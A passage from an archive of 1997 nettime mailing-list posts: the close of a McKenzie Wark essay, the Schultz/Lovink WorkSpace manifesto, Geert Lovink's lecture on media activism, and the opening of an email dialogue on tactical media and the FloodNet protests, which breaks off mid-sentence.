the above to be necessary in the name of this\nor that emergency. \n\nEscape, on the other hand, is something else. It usually requires\na ruse, a cover, a fold in the coding. It appears to be one thing,\nbut it might also be something else. \n\nA favourite example: 'burn baby burn' -- a slogan from the Watts \nriots, tucked in a fold in a disco song: \n\"I heard somebody shout\nburn baby burn\ndisco inferno\nburn the mother down!\"\n\nThe virtual side of media is the ever present potential that some\ncompletely different subjective event will form out of what seemed\nlike quite routine utterances. Its always threatening to vere\ntowards flux. In the flow of media, as in the flow of water, \norder is always temporary. Its always on the verge of escaping\ntowards pure difference. \n\nAnother example, from the endless riches of what Lester Bowie called\nthe Great Black Music:\nAretha Franklin, singing gospel as a teenager. Conventional words of\npiety. Suddenly she shrieking,\n'Never gonna die! Never gonna die!'\nHer voice jumps straight into another realm, somewhere beyond meaning,\ninto sense itself. Its as if the vibrations of her body transmit\nthemselves, across space and time, across means of recording and\ndistribution and reproduction, from her body to mine. An event outside\nmeaning, or maybe inside it, hidden in the folds of it. Waiting\nto transmit.\n\nThere are any number of languages in which one might talk about\nmedia: aesthetic, ethical, political, but surely the military is the\nleast necessary of them. And don't buy the old furphy about the\n'military origins' of the internet. The internet has many origins.\nIts a hybrid of a whole bunch of technologies, pioneered in lots\nof different places and organisational contexts. There is no \nnecessity embedded in its origins. The net is what it becomes. \nDo we know yet what the net can do? I don't think so. The collective\nexperiments have only just started. We have some idea what you can\ndo with a book or a song, they've been with us a long time. We've\nsuffered from some pretty extreme experiments with the so-called\nmass media. We've had the telephone for years but nobody has\nbothered to think much about the democratic potential of this \nremarkably distributed kind of media. And the net... we're just\nstarting, even though the technology goes back about 20 years now.\nThat's nothing. \n\nBut the diversification of creativity on the net is still held\nback by a much older 'technology' -- language itself. Always\nthe old terms! 'Tactical media', 'Net art' -- like calling a \nmotor car a horseless carriage. It is waiting for a revolution in\nlanguage to reveal what lies hidden in its virtual folds.\n\nMcKenzie Wark\nSydney 22nd May, 1997\nNetletter No. 13\n\n\n__________________________________________\n\"We no longer have roots, we have aerials.\"\nhttp://www.mcs.mq.edu.au/~mwark\n -- McKenzie Wark \n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00136",
                        "date": "Thu, 22 May 1997 18:16:43 +1000 (EST)",
                        "to": "Pit Schultz <pit {AT} icf.de>",
                        "message-id": "Pine.SOL.3.91.970522173138.12900B&#45;100000 {AT} laurel.ocs.mq.edu.au",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00136.html",
                        "content-type": "text/plai",
                        "author_name": "McKenzie Wark",
                        "subject": "<nettime> On the tactic of tactics"
                    }
                ],
                "message-id": "3.0.1.16.19970519185135.433778ce {AT} pop3.contrib.",
                "date": "Mon, 19 May 1997 18:51:35",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl> (by way of Pit Schultz <pit {AT} contrib.de>)",
                "id": "00062",
                "content": "\nnote: This text was written for the presentation of WorkSpace in the\nDocumenta Halle in Kassel/Germany which took place on August 14, 1997 as a\npart of the 100 days program. We heard only two days in advance that the\nfree slot would be available for us. The only text about Hybrid Workspace\nwas written by a number of people, in a great hurry, just before the\nfinal deadline of the Documenta X shortguide, in May. For this improvised\npresentation, for the first time we looked into the growing audio,\nvideo and text archive of the WorkSpace project. We also thought it would\nbe necessary to also have more theoretical text, a first attempt to\nreflect on the work we are doing here in Kassel. In the second part, the\ntactical media network presented their work. Special guest was the\nColombian videomaker Silvia Mehija. You can see the lecture in real video:\nhttp://www.mediaweb-tv.com/english/dx/gaeste_frame.html\n+ more audio stuff: http://www.icf.de/RIS\n-------\n\n\nFirst Analysis of the temporary WorkSpaces\nBy Pit Schultz and Geert Lovink\n\nFor the Hybrid WorkSpace presentation\n100 days program, Documenta X, Kassel\n'50 days, 120 guests', August 14, 1997\n\n*how to write a manifesto* -- a document type description\n\nClassical modernism brought us a new textual format for the multipurpose\nuse in the alien environment of technical media. The manifesto was\nintroduced by several avantgardist artist groups at the beginning of this\ncentury as a document type to mediate an emphatic moment of urgency, the \nutopia of the radical new.\n\nToday, the manifesto returns as a useful form of electronic discourse that\nlocates itself into the heart of cybernetic power. It does not just\narticulate a hierarchical voice from above, representing the wishes of\nothers. It does not just promote the project of one predominant world\nmodel, it even cannot be taken seriously in every detailed claim it may\nmake. In the main, the digital manifesto is a highly efficient form of\ncommunication which provides a frame of immediacy and presence for those\nformulating it. \n\nThe digital manifesto no longer makes the distinction between endless\ninterpretations and the decisive logic of punctual statements, it\narticulates a profound, and often artificial subjectivity without\nreclaiming absolute power in the real world. It creates an ambigious\nmode between visibility and virtuality which makes it useless to serious\nforms of executing power by virtue of its very absence. Paradoxically, only\nthrough the fact of its powerlessness and marginality the digital manifesto\ncan claim to speak in the name of superhuman forces. \n\nThe digital manifesto, as found in countless instances on the electronic\nnetworks, is not rewriting the human command-line-interface as it is known\nfrom before the War. In the times of the Nets, after deconstruction is\nover, the manifesto is a node which attracts other texts, including audio\nand video, and plays with the viral potential of being able to get\nforwarded, redistributed, quoted and translated. \n\nThe digital manifesto functions as a media genre which speculates with\nmaximum attention and possible media exposure. It mimics the gesture of\nbroadcasting in the times of democratised xerox publicity. By definition\nthe digital manifesto has a strong message. It claims an imaginative\ntotality, a possible future, a virtual territory, knowing that it exists\namongst a multiplicity of other manifestoes, which all put into concrete\npractice the passion for polemics and rethorics of public imagination:  \"I\nhad a dream\" (in Martin luther King's famous opening words). You may find\nthe digital manifesto all over the net refering to its outside, and\nrefering to each other just by the fact that they express a will to be\nheard, to be heard about an extreme form to see the world.\n\nThe digital manifesto is the opposite of the self-referential\ncontemplation from within the system. It breaks through the chains of\nendless interpretation of existing textuals material. It is stating the\nobvious, claiming the impossible, and deserving the full field of\npragmatic possiblities to the limit where they become truly speculative.\nNext to the document types such as the pamphlet, the declaration, the\nstatement, the sermmon, the agenda, the charter or the petition, and in\ndistinction to the essay, the article, the report, or other lengthy textes,\nthe digital manifesto performs a compression which deals with the need for\nshortening, cutting and selecting from the media streams. From the very\nbeginning it anticipates broadcasting and what it can do to a text. \"Keep\nit short, my attention span is limited.\" (J. Sjerpstra) The typical form of\nthe digital manifesto is a long list of paragraphs, which functions like as\na crystal, where one paragraph can reflect all others. The potential character\nof this text type is not hidden or embedded in a set of characters and\nnarrations like in a novel, or allegory. In a digital manifesto the need\nfor far more possibilities meets the desire to touch the level of the real\nand serves a popular info-vehicle in the struggle for attention. \n\n\n*representation - media - image*\n\nNowadays, if you are working in the field of the new media, you are very\nsquarely confronted with the institutional power of the image. The multi\nmedia are out there, but apparently some media are more equal then\nothers... Those which work with an interface of visual representation are\nalso those which are the most appealing to consumers, advisors, media\ntheorists, and museum curators. Optical media have traditionally a\npredominant role in the process of constructing the truth and representing\nthe invisible. When it comes to reflexion about reality, our Western language\nis full of terms which privileges the visual above all other senses when\nspeaking about the truth. The direct way of exersizing power over people's\ndreams and visions is by controling the sphere of images. This plays a\ncrucial role not only in religion and advertisement but all fields which\nneed the services of representation of power through visualisation as a form\nof celebrating and mediating its legitimacy. In the new media industry which\nis specialized in the development of *interfaces* most of the work goes into\nthe production of demos (see Peter Lunenfeld in nettime). Finally it needs\na surface to cover the emptiness of the final products with a shiny\nglamourous aura.\nThe aim being to produce media products that succesfuly suggest content,\ncontext, and communication. To produce a psycho-physical stimulus through\nvisual information is a skill that has been learned from the various\navant-gardes by putting their experiments into the commercial context -\nwithout taking the social, political and idealistic world models of\nmodernism, of course. This format speculates with the investments made by\nthe users, like their craze on the stock market, the investments into \nan 'economy of ideas', and the simulated empty products snatching away the\npeoples' attention/money without satifying their desires. As long as a\nproduct is in demo mode it produces wishes by reiterating the promise of\nthe tremendous potentials of the full version always to come. \n\nThe problems of media design have not yet been properly discussed. Some\ntend to see this 'artisan' practice more in its classical terms, where\ndesign is the final phase of the production process. In the information\nbusiness, however, design plays the role of architecture, since it\nstructures activities and organises knowledge and memory. Navigational\ndesign determines the modes of orientation and in the best case predics\nall possible moves and interpretations by the users. The best interface\nis the one which becomes invisible. Electronic images are bringing you to\nthe other sphere behind the screen, they are stimulating the imagination,\nthey are trying to mediate between programmers and users, they are pretending\nto give technology a human face and are helping to reorganise business and\nworkflows. Electronic images are fulfilling an initiative role in the\nfirst encounter with the realm of new media, they are mediating today\nthe sphere of [to-morrow's] dream time, the mythological nomos, the realm\nof the uncouncious. \n\nThe aesthetics of total dispersion of the televised image do not break\nthrough the screen of the representational paradigm. The celebration of\noptical media exchanging the role of painting does not say much about the\naverage media users which even probably wish they could see real paintings\nagain. It is the the play with the modes of visibility and invisibility,\nthe aggregates of mediation between possible modes of representation\nexpanded from the flat tableaux of the computer screen, to different\nframes of code and transformation, which can easily circumvent central\nauthorities of quality control just by finding new combinations, or\ncreating new hybrids and different intensities. On the carrier of digital\nmedia, such very private mixes introduce for a while the pure joy of doing \nit yourself. Before the old institutions or commercial enterprises move in,\nother fields for tactical use are already there. \n\n\n*hybrid*\n\nHybridity has many names, many faces. One of these is the merger we are\nwitnessing between video-technology and the Internet. But the much-vaunted\nwedding of TV and Web may well never happen. The cult of the interface\nculminates in its current brief to unifify all media under one big\nbrowser. The most recent manifestation of this idea is the 'setup box',\nthe 'network computer' and the attempt to reinvent Television on the\nInternet in the so called 'Push Media'. During the phase of the\nwar of standards we see a diversity of interrim media, a variety of\nsub-standards, incompatibilities and central giant media which try\nto include and swallow up small media.\n\nOn the technical level hybrid systems are very often the pragmatic way of\nresistance, and an attempt at finding the best possible solution aside\nfrom the one which consist of dominating the market by including different\nor older systems. This quite resembles the status quo prevailing in pop\nculture, where hybridity as cultural policy works against 'apartheid' and\nthe sweet promises of a totality which is hidden behind the concept of the\n'Gesamtkunstwerk'. Hybridity as postmodern condition is not a strategy but\na starting point [ - or a benchmark]. There is a certain threshold\nwhere the dirtyfication, mixing and opening of systems gets rejected. The\ndouble face of hybridisation needs both a critique in the context of the\nexpansion of global capital and an analysis of its possiblities of\nemancipation at the micro-level. On the dangerous road which leads to\nbecoming a Media-Gesamtkunstwerk the concept of hybridity looses\ncontact to subjects and serves as a model of sophisticated organisation\nand domination.\n\n\n*work*\n\n\"Networking is notworking.\" (George Soros) Beyond the ideal of full\nemployment and the scenario of a jobless economy there are many practical\nexamples of inventing new forms of work. Whether this takes the form of a\nneo-liberal part-time McJob or some activity within state-run\ndole-for-work programmes, or some kind of occupation within the\nfast-expanding black money economy, or a slave job in a sweat shop in the\n\"Little Asias\" sprouting all over the place, or just a new, formalised\nway of neighborhood help, the traditional concept of work is changing\nrapidly. And very often it does so by applying information technology.\nAlso, at the same time, a certain type of \"autonomous work\" seems to\nperstist. It drudges on at the limit of complete exhaustion, working with\nthe bare achievement of the existential minimum as reward, within settings\nendowed with low resources and next-to-no budget. It must be the lure of\nsome different gratification than money which motivates some people to\nwork so hard in the non-profit-media. And yet this could become the model\nfor many more people. Work is still the golden road to self-realisation.\nTo detach it from the curcuits of capital begs the question on which\neconomy it should rely. It is all too easy to state that through the rise\nof neoliberalism many sectors of the public sphere are being privatised as\nwell as other resources are getting exploited in an irreversible way,\nwhich also means that there are no ways in turning back the clocks. While\neverybody seems to reluctantly agree on the fact that not much money has\nbeen made on the net to date, one keeps betting on a big boom triggered by\nthe global information networks. \n\nThe main issues at stake here are the emergence of new types of jobs in\nthe service sector and a need for more and lifelong education. Yet, in the\nsame breath, one oversees the existence of a shadow economy of gifts, a\ndo-it-yourself culture of producing public content without prospect of\nmaking the big buck. Apart from the small community of net experts which\nearn their keep with advisory or journalistic work, or the even smaller\nband which finds their little niches in the art world, the vast majority\nof small content producers are private individuals which like to publish\nwhat they like for the sake of it. This process of democratisation of the\nmeans of production, as sore and basic as it is, realises a big dream of\nmany social utopians. The only drawback being that the glory and class\nconsciousness of the new virtual working class does not seem to come very\nmuch into existence.  While we have all possible tools for more media\nfreedom still in front of us we are often unable to do anything,\nhypnotized as we are by the pronouncements about the rise of total\nmarketization. Avoiding self-exploitaion and burn-out on the one hand,\nsell-out and alienation on the other, the exploration of the possible\nmodes of finding work in the new media is a challenging task\nindeed. While the trap of an ascethic ideal as well as the tragedy\nof a realised utopia makes you hyper-sensitive against false promises,\nyou still have to work it out.\n\n\n*space*\n\nDifferent kind of spaces deserve different kinds of action. The media\nspace is defined by its participants: there's no content without social\ncontext. And there is no way of defining a media space either without\nsomeone accessing it. The problem with spacial metaphors is that they do\nnot normally include any time model. A combination of a time model with a\nsocial model, with a definition of the modes of access to a set of media\nequipment can already be enough to build a model of a small cyberspace. (You \ncan do that at home, like the radio-amateurs in the 20ies did.) It\ncould describe the ways a network can dynamically change, the\nmultipliticity of layers of accessablity, and the diversive ways how to\nrepresent a set of datas. It could emphasize the importance of relying on\nmutually agreed-upon standards, not only in the definition of interfaces\nbetween the machines or parts of programs, the software and the hardware,\nor different pieces of hardware. These same standards also occur on the\nlevel of social associations, in form or jargons, marks for orientation,\ncertain conventions of naming and adressing the yet unknown. In this way a\ncultural space could evolve, which is completly constructed by the\ndefinitions and interdependencies of the actors which create it through\ntheir actions and decisions. Cyberspace, besides its geographical\nextension, is a pure social construction. It has as many dimensions as\nthere are nodes within it [male or female?] it is more a vectorial space,\nor an imaginary one describable by fairly abstract mathematical models\nfar beyond any three dimensional metaphors. \n\nTo bind a cyberspacial social environment to a physical space therefore\nmay well render the need for a metaphorical architecture obsolete. Through\nsocial contacts (and the attention they bring with it) a more fuzzy\nprocess of forming a hybrid space which combines the real and the virtual\nbecomes productive. But the connection between the real and the virtual\nrealm will not go smoothly. It is a never ending story of disruptions,\nbugs in the human-to-human communication, conflicting standards and\ncultural glitches. The virtual should not become a quasi parallel world,\nnor should we return to the tactile solidity of the 'real' cities, the\nso-called nature or the social that might have existed once. The temporary\nworkspaces and gatherings we are organizing do not intend to produce a\nconcensus. No constructive solutions here. Our aim should be the design of\nproblems and conflicts, free content, not the synergy of all technical\nmedia.\n\n\n***\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Sun, 17 Aug 1997 00:25:51 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "3.0.1.32.19970817002551.008c3100 {AT} pop3.contrib.",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9708/msg00062.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink  (by way of Pit Schultz <pit {AT} contrib.de>)",
                "subject": "<nettime> WorkSpace Manifesto"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00005",
                "content": "\nStrategies for media activism\nBy Geert Lovink\n\nPresentation at the forum event of 'Code Red'\nThe Performance Space, Sydney, November 23, 1997\n\n\"Erkenne die Lage\" (Gottfried Benn)\n \nIt is my personal commitment to combine cyber pragmatism and media\nactivism with pleasurable forms of European nihilism. Not the apocalyptic,\nconservative culture of complaint which post modernism has left behind,\nbut short heroic epics on the everyday life of the media, reporting from\nwithin the belly of the Beast, fully aware of its own futile existence,\ncompared to the millennial powers to be. We ani's no salespeople, trying\nto sell the award winning model amongst the digital cities, some exotic\nAmsterdam blend of old and new media or yet another disastrous set of\nideas, made in Europe. Instead, we are trying to exchange models,\narguments and experiences on how to organise our cultural and political\nactivities, finance media projects and create informal networks of trust\nthat will make live in this Babylon bearable. \n\nNew media is a dirty business, full of traps and seductive offers to work\nfor 'the other side'. There are no ways to keep your hands clean. The\ncomputer is a deadly machine when it comes to inclusion and exclusion. We,\nthe workers on the conceptual forefront of cyberculture, have to admit\nthat we are (not yet) politically correct and have failed so far to pass\nthe PC-test. This is not because these criteria are deliberately\nneglected, but because the passions lie elsewhere. For the time being, the\nstruggle is about the definition of the terms under which the 'information\nsociety' will become operational. The 'Short Summer of the Internet', now\nrushing to its close, is about the production of cultural and political\nconcepts, which may, or may not, be implemented on a much larger scale.\nWhat network architecture will be used? Do we accept the dominant software\nand screen design or do we look for alternatives? Is there still space for\ntheory and reflection, meaningless playing around? Is the production\nstress overruling creativity?  Later on we will find current concepts back\nas 3D-animation, java scripts or human-machine interfaces. The terminal\nworkers, producing one demo after another (as Peter Lunenfeld has recently\ndescribed it) are determining future formats of the new media which will\nshortly become standards, ready to be commodified. A further growth of new\nmedia products may need a phase of consolidation on the level of\nmarketable products. The 'digital revolution' could therefore soon reach\nits counter-revolution, the Digital Thermidor (let us all hope that it\nwill not turn violent against its Wired-visionaries that once so\npassionately preached their 'Californian ideologies'). There is less and\nless reason to make fun of 'Dinosaur behaviour' of the apparently outdated\nand 'tired' multinational corporations. Restructuring programs are in\nplace now. The CEOs have listened carefully to the cyber-libertarian\nvisionaries and have drawn their own conclusions. The network economy is\nwell under way - and so is the 'Long Crisis'. Kevin Kelly's saga of the\n'Long Boom' (in Wired magazine) turned out to be a hilarious mistake in\nthe light of the current Asian (now global) currency crisis and its\nsimultaneous environmental disaster. But sure he will keep on insisting\nthat we simply have to route around the problems. Economics are benevolent\nif you are on a religious mission. As John Perry Barlow once said about\nthe Internet, connecting every synapse with any other synapse on the\nworld: \"It is not a good thing or bad thing, but it is a holy thing.\" And\nbelievers can ignore any crisis, as long as it not theirs. \n\n\"Holding the Negative.\" (Andre Simon) The political economy of new media\nis not a favourite topic on conferences that deal with art and technology.\nDry economic facts about the upcoming take-over of this emerging branch\nmay spoil the celebration of the Computer-Aided-Renaissance. The belief\nthat many small Davids can beat a few big Goliaths is still around. The\nideology of economic liberalism has entered the rational of the creative\npart of the virtual class in a deep, unconscious way.  The same can be\nsaid of state officials who still hold powerful positions In financing new\nmedia projects. But the fact is that the gold rush is over.  Prices of\nweb-design have fallen sharply. We can see the rise of the html-slaves,\nemployed without contracts or health insurance, producing code for little\nor no money. Small businesses disappear, not only ISPs but also in the art\nand design sector. On the macro-economic level we have witnessed an\nunprecedented series of mergers in the telecommunication and media sector.\nThis has led, for example, to the near monopoly position of WorldCom\n(which now owns 60% of the access business in the USA). Or take the\nSpanish telecom giant Telefonica and its Intranet, which will soon control\nthe entire Spanish speaking world. We do not need to mention Microsoft\nhere. \n\nThis may only be the return of the suppressed, after a period of\npost-modern comfort, in this case late monopoly capitalism. The\nundermining of the promising small and decentralised 'many-to-many'\nideology also comes from within the IT-sector. The development of the\nultimate multi-media device, web-TV, turns out to be a classical Trojan\nHorse. The much hated one-to-many television, news and entertainment\nindustries have now found a way to neutralise a potential competitor. Soon\nthe content of web and TV will be the same. In this respect, all these\npush media are claiming the available bandwidth. Older features of the\nNet, like the news groups, with their democratic and decentralised logic,\nare dying out and are being replaced by monitored and edited on-line\nmagazines and chat rooms. Internal surveillance of net-use and private\ne-mail is on the rise due to the introduction of intranets of buildings,\ncompanies and entire countries. Another alarming tendency may be the\nwithdrawal from the Internet of universities and research centres that are\nnow working with much faster and secure computer networks. This dark\npicture results in he question -- \"What elements of the glory days of net\nhype, dating back to the period of 1989-1992, remain? Perhaps the answer\nis the phrase \"On the Internet no one knows you are a dog.\" Indeed, and no\none cares: a tragic end of the once so liberating politics of identity.\nWhat counts now are the commercial use of avatars, the number of hits on a\nsite (\"2 million a day\"), the rise of webvertisement and the final putting\ninto place of electronic commerce. \n\nWhat form of organisation media activism could take? While some truly\ndiscouraging stories from the economic forefront are on the rise, it is\ngood to keep returning to the old question:\" What is to be done?\" A return\nof negative thinking could play an important role in the development of\nstrategies for media activism. There is plenty of good will, and ruthless\ncynicism. What lacks is playful negativism, a nihilism on the run, never\nself-satisfied. Not just nomadic as a Lebensphilosophie, but rather\ntactical, an ever changing strategy of building infrastructures and\nleaving them, when the time has come to leave the self build castles and\nmove onwards. The explorations into the fields of the negative not only\nimply the hampering the evil forces of global corporate capitalism, but\nalso formulating a critique of the dominant alternative formula: the Non\nGovernmental Organisation. The NGO is not just a model for aid\norganisations that have to correct the lack of government policies. It is\ntoday's one and only option to change society: open up an office, start\nfund-raising, lease a xerox-machine, send out faxes... and there you have\nyour customised insurrection. \"How to make to most of your rebellion.\" The\nprofessionalism inside the office culture of these networked organisations\nis the only model of media-related politics if we want to have a\n(positive) impact, or \"make a difference.\" (as the ads use To call it). We\nwill soon have to reject this bureaucratic and ritualised media model\naltogether, with its hierarchies, management models, its so-called\nefficiency. \"The Revolution will not be Organised.\" These are not the\nwords of some chaotic anarcho-punkers or eco-ravers, calling for\nspontaneous revolt, right now, tonight. The crisis of the Organisation is\nour 'condition humane' in this outgoing media age. And it may as well be\nthe starting point for a new, open conspiracy that is ready to anticipate\non the very near cyber-future. Not anymore as a Party or Movement, nor as\na network of offices (with or without headquarter), new forms of\norganisation may be highly invisible, not anymore focussed on\ninstitionalization. These small and informal communities easily fall apart\nand regroup in order to prevent the group from being fixed to a certain\nidentity. \n\n\"The site less visited.\" Media activism nowadays is not about the\nexpression of truth or a higher goal. It is about the art of getting\naccess (to buildings, networks, resources), hacking the power and\nwithdrawal at the right moment. The current political and social conflicts\nare way too fluid and complex to be dealt with in such one-dimension\nmodels like propaganda, \"publicity\" or \"edutainment.\" It is not sufficient\nto just put your information out on a home-page, produce a video or\npamphlet etc. and than just wait until something happens. The potential\npower of mass media has successfully been crippled. Today, reproduction\nalone is meaningless. Most likely, tactical data are replicating\nthemselves as viruses.  Programmed as highly resistant, long lasting\nmemes, the new ideas are being constructed to weaken global capitalism in\nthe long term. No apocalyptic or revolutionary expectations here, despite\nall rumours of an upcoming Big Crash of the financial markets. Unlike the\nRussian communist world empire, 'casino capitalism' (Robert Kurz) will not\njust disappear overnight.  Heaps of deprivation and alienation is ahead of\nus. But this should not be the reason to lay back and become console\nsocialists. We need organisations of our time, like the global labour\nunion of digital artisans, networks of travellers, mailing list-movements,\na gift economy of public content.  These are all conceptual art pieces to\nstart with, realised on the spot, somewhere, for no particular reason,\nlacking global ambition. These models will not be envisioned by this or\nthat Hakim Bey. They are lived experiences, before they become myths,\nready to be mediated and transformed on their journey through time. \n\nMedia activism constantly mediates between the real and the virtual,\nswitches back and forth, unwilling to choose sides for the local or the\nglobal. Tactical media are creating temporary hybrids of old school\npolitical data and the aesthetics of new media, which deals with\ninteractivity and interface design (see the article by David Garcia and me\nin nettime/ZKP4). As a next step, this is being implemented on both the\nlevel of the social personal level where our wetware bodies meet, and that\nof the 'non-located' technical network architecture. Activists are\ndeveloping now 'negative software', (anti-)racism search engines,\n(temporary) public terminals, free groupware, anti-aesthetic browsers\nagainst both Microsoft and Netscape, electronic parasites that live on\ncorporate software and content. \n\nRecording is not enough. Reality.net, equipped with tons of web cams can\nbe fortunate and collect evidence, but it can as well add to the spreading\nparanoia about the surveillance by the Corporation-State. Sometimes it may\nbe appropriate to detect and delete camera's.  Neither eco-fundamentalist\nnor techno-utopian, media activists are taking risks and acting freely.\nThis may sometimes be in a criminal way, if necessary (like computer\nhackers), thereby ignoring legal standards (censorship, copyright). The\nnarrow frameworks that reformists have negotiated over time, like\n'privacy' and 'freedom of expression' have to be defended and practiced\nopenly. These can only be guaranteed with the help of an independent,\ndemocratic media structure, not owned or controlled by the state. Big\nmedia corporations will be the last to defend media freedom. It would be\nfoolish to expect anything in this respect from Murdoch, Bertelsmann or\nTime-Warner. The same can be said of the efforts of isolated political\nlobbying groups which fight for better legislation... \n\nA 'light' and independent media infrastructure is not merely\nexpressing diversity. It is not enough to correct the main strain media\nand facilitate communities with their own channels. Being a\n'difference engine' on the level of representation may put out a lot of\nuse full public content, but it does not touch on the 'media question'.\nWhat interests us most are the ideological structures which are written\ninto the software and architecture. But is not enough to subvert or\npervert this powerful and still mysterious structure. It is possible\nto continue the earlier approaches of freeware and shareware within\nthe now hyper-commercial environment of new media. The same can be said\nof the efforts to develop databases of free content, a now still\nmarginal activity that will soon gain importance once everyone will\nhave to pay for the content to download. This public sphere cannot come\ninto being in a purely global, commercial environment and obviously\nalso not in places where the state has absolute control over the\nnation's intranet and firewalls. It is in this 'third place', the\npublic part of cyberspace, that the media activism will start to\nflourish.\n \n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Tue, 2 Dec 1997 00:57:46 +0100 (MET)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199712012357.AAA12928 {AT} xs2.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9712/msg00005.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> strategies for media activism (code red lecture)"
            },
            {
                "id": "00058",
                "content": "\n[NETTIMErz- The following dialogue grew out of a request by the\nElectronic Disturbance Theater to collect interviews on the topic of\ntactical media in general and FloodNet in particular. This interview and\nothers will be excerpted and collected as supporting documents in a\nforthcoming chronicle of the EDT's actions entitled \"Hacktivism:\nnetwork_art_activism.\" -ag]\n\nHacking Activism\nAn Email Dialogue\nBetween Alex Galloway and Geert Lovink\n\nAlex Galloway: Let's talk first about the Zapatista FloodNet actions\n(http://www.thing.net/~rdom/ecd/ecd.html) in the context of tactical\nnet.art. There was a lot of talk at this year's Ars Electronica festival\nabout how the FloodNet was technically flawed. Do you think it works? Can\nelectronic civil disobedience ever move past simple \"consciousness\nraising,\" to actually realizing material change?\n\nGeert Lovink: I don't think this is the best way to approach this issue.\n\"Flaws\" are something for the hackers and sysops to address, like Rop\nGrongrijp or others. FloodNet has bad karma because of particular\nmistakes they made; I cannot defend them, nor do I particularly want to\nattack them. We have been working for several years on a thorough\nfoundation for net activism. For example, this was a major topic at the\nGalactic Hackers Party in 1989, one of the first big \"new\" media events\nwe organized in Amsterdam. Today, the net is no longer merely a tool, it\nis our everyday (artificial) life. For us it is a strategic theatre of\nconfrontation. Yet the hackers still have that fresh, almost utopian\nattitude about the internet. For them the net is something precious,\nsomething that shouldn't be destroyed by things like denial of service\nattacks. Activists these days are not properly informed of the delicate\nbalance within technology. For them, a corporate server is just another\nartifice to be destroyed, or rather, disturbed.\n\nAG: Let's talk about software more generally. I think that, perhaps, the\nWeb Stalker (http://www.backspace.org/iod) was the first real piece of\ntactical software (at least for our recent net.history). And now I'm\nsearching for sequels. The browser seems like a perfect place for\ntactical interventions. Where else do you see this happening? The open\nsource movement is one place... But what about network infrastructures?\nOperating systems? Where should we, as tactical programmers, *go* today?\n\nGL: The open source movement is clearly an interesting area but what\ninterests me most is how to build a public interface for movements like\nthis. To be successful the movement must both effectively disseminate its\nsoftware and surround the software with a lively, appealing political\ndiscourse. It could be our task, as mediators, journalists, artists and\ncritics, to transform the issue of, for example, operating systems into a\npolitical question. Paul Garrin's name.space has failed so far in this\n(and so has nettime). The question is this: How do we turn all these\nabstract issues, which are debated in a very closed circle and only\nunderstood by a hand full of technicians, into a large topic, understood\nby the millions, so to speak. Minor decisions in the realm of technical\nstandards taken today will have enormous effects on society later on. We\nare all aware of that. So, much will depend on our political skills,\nimagination and willingness to make coalitions, if we want to succeed.\n\nAG: You are right to note that name.space and others have failed so far\nto address a larger audience, yet I don't think we should discount\nname.space. It preceded the Web Stalker (right?) and in some ways is more\nmassive, more effective, and more tangentially artistic (making it all\nthe more appealing). As for operating systems, there's Jodi's new OSS\nproject (http://oss.jodi.org) which, although purely aesthetic, somehow\nalso seems to be a real tactical intervention into how computers are\nused--especially since it exists as a stand alone application (as well as\na CD-ROM) that mimics an operating system. I'm delighted at the fact\nthat, with net.art, one can't really distinguish the tactical from the\npurely aesthetic. I think this is what will prove its ultimate importance.\n\nI may have a slightly different take on the question of publicity and\ncoalition-building. Why can't the ultimate success of tactical media\nprojects be simply to produce temporary autonomous zones (TAZs) rather\nthan liberate a larger public? (I realize this sentiment is probably not\nvery popular with the Dutch/German tactical media community.) New\ntechnologies seem, finally, to be able to give us this TAZ option as a\nwidespread reality for the first time. Look at our own projects--nettime\nand rhizome--I think that communities of this nature are virtually\nunprecedented. And, hey, that may be enough for me.\n\nAbout the open source movement. I am in favor of software development\nthat seems to be in the public interest. However I'm skeptical of the\npolitics associated with some of these groups. Hackers and programmers\nhave historically never shared the same politics as the avant-garde,\nespecially one with such a lively surrounding discourse as ours does.\nI've read the various hacker's manifestos floating around and I think\nthey're garbage. They specifically avoid political analyses at the\nexpense of the \"freedom of knowledge.\" This is at the heart of why EDT's\nFloodNet was criticized heavily by HEART (Hackers for Electronic Art) at\nArs Electronica this year. What we have is two groups, both doing\ninteresting work, but with two different political styles. I'm on the EDT\nside.\n\nLet's move to the issue of translating traditional leftist strategies\ninto the tactical media framework. A new method is critical. We've\nexperienced bottom-up political movements for some time now. But, what\nabout *distributed* bottom-up strategies? This is the machinic model,\nwhere there is no coalition, there is no core, yet there is a \"movement.\"\nIs electronic activism like the FloodNet too rooted in old school leftist\npolitics? The real question here is: How do we make the network into a\nmedium for action and resistance?\n\nI always think of the early net.art project called \"Refresh\"\n(http://sunsite.cs.msu.su/wwwart/refresh.htm), what (I'm assuming) Alexei\nShulgin described as \"the friendly web-design frenzy that we have started\non Sunday 6 October 1996.\" In that project no one really needed to know\nwho exactly was part of the chain, yet if your computer followed the\nrefreshes you would glimpse a sequence of interrelations. This seems to\nme to be a model, albeit primitive, for some type of distributed\nbottom-up strategy.\n\nGL: You are touching here on the question of organization. It presupposes\ncommon interests (or even \"objectives,\" Marxists would say) and a basic\nset of common ethics. Today 